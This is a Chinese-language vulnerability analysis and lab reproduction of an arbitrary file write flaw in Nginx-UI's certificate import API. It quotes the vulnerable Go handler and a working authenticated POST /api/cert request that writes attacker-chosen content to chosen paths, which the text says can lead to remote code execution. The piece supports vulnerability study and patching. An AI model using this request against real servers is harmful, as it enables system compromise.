漏洞描述
Nginx-UI 是一个用于管理 Nginx 配置的 Web 界面。导入证书功能允许任意写入系统。该功能不会检查提供的用户输入是否是证书/密钥,并允许写入系统中的任意路径。可以利用该漏洞进行远程代码执行并覆盖配置文件 app.ini。版本 2.0.0.beta.12 修复了该问题。
漏洞环境搭建
下载历史版本v2.0.0-beta.10 Release v2.0.0-beta.10 · 0xJacky/nginx-ui · GitHub
下载linux版本 启动服务 下载源码 进行漏洞分析
漏洞分析
定位到项目文件certificate.go 文件的AddCert方法
func AddCert(c *gin.Context) {
var json struct {
Name string `json:"name"`
SSLCertificatePath string `json:"ssl_certificate_path" binding:"required"` //重点关注
SSLCertificateKeyPath string `json:"ssl_certificate_key_path" binding:"required"`
SSLCertificate string `json:"ssl_certificate"` //重点关注内容
SSLCertificateKey string `json:"ssl_certificate_key"`
ChallengeMethod string `json:"challenge_method"`
DnsCredentialID int `json:"dns_credential_id"`
}
if !api.BindAndValid(c, &json) {
return
}
certModel := &model.Cert{
Name: json.Name,
SSLCertificatePath: json.SSLCertificatePath,
SSLCertificateKeyPath: json.SSLCertificateKeyPath,
ChallengeMethod: json.ChallengeMethod,
DnsCredentialID: json.DnsCredentialID,
}
err := certModel.Insert()
if err != nil {
api.ErrHandler(c, err)
return
}
content := &cert.Content{
SSLCertificatePath: json.SSLCertificatePath,
SSLCertificateKeyPath: json.SSLCertificateKeyPath,
SSLCertificate: json.SSLCertificate,
SSLCertificateKey: json.SSLCertificateKey,
}
err = content.WriteFile()
if err != nil {
api.ErrHandler(c, err)
return
}
c.JSON(http.StatusOK, Transformer(certModel))
}
将接收到的ssl数据传递到结构体content中,之后调用其WriteFile方法,我们追入 WriteFile方法
type Content struct {
SSLCertificatePath string `json:"ssl_certificate_path" binding:"required"`
SSLCertificateKeyPath string `json:"ssl_certificate_key_path" binding:"required"`
SSLCertificate string `json:"ssl_certificate"`
SSLCertificateKey string `json:"ssl_certificate_key"`
}
func (c *Content) WriteFile() (err error) {
// MkdirAll creates a directory named path, along with any necessary parents,
// and returns nil, or else returns an error.
// The permission bits perm (before umask) are used for all directories that MkdirAll creates.
// If path is already a directory, MkdirAll does nothing and returns nil.
err = os.MkdirAll(filepath.Dir(c.SSLCertificatePath), 0644)
if err != nil {
return
}
err = os.MkdirAll(filepath.Dir(c.SSLCertificateKeyPath), 0644)
if err != nil {
return
}
if c.SSLCertificate != "" {
err = os.WriteFile(c.SSLCertificatePath, []byte(c.SSLCertificate), 0644)
if err != nil {
return
}
}
if c.SSLCertificateKey != "" {
err = os.WriteFile(c.SSLCertificateKeyPath, []byte(c.SSLCertificateKey), 0644)
if err != nil {
return
}
}
return
}
可以见的 没有任何过滤就写入文件,且写入路径与写入内容均为我们可控
漏洞复现
前端登录,获取有效Authorization
开启burp 修改请求包
POST /api/cert HTTP/1.1
Host: 192.168.116.128:9000
Accept: application/json, text/plain, */*
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJleHAiOjE3MDkwMTM2NTl9.dRDlO1X1hZdSlpW7TMRIsInNpm2VcIBMiEDPfFxZo-c
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36
Referer: http://192.168.116.128:9000/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: _ga=GA1.1.2049876865.1708327587; _ga_ZCZHJPMEG7=GS1.1.1708327586.1.1.1708327666.0.0.0; kirby_session=cc1d1a863be81c336432fd9289a4b1dcda92ec43%2B1709870053.fc16749a4dca942d7b1b.c69e92337168ffdf0dab0629ba6d4bd795e9facde4f117c1b0f512656bad94fa
Connection: close
Content-Length: 158
{"name":"poc","ssl_certificate_path":"/tmp/test.jsp","ssl_certificate_key_path":"/tmp/test2.sh","ssl_certificate":"testjsp","ssl_certificate_key":"test2sh"}
发包成功,看一看文件是否真正被写入
ls -la /tmp/test*
文件成功被写入 漏洞复现成功
后续修复
....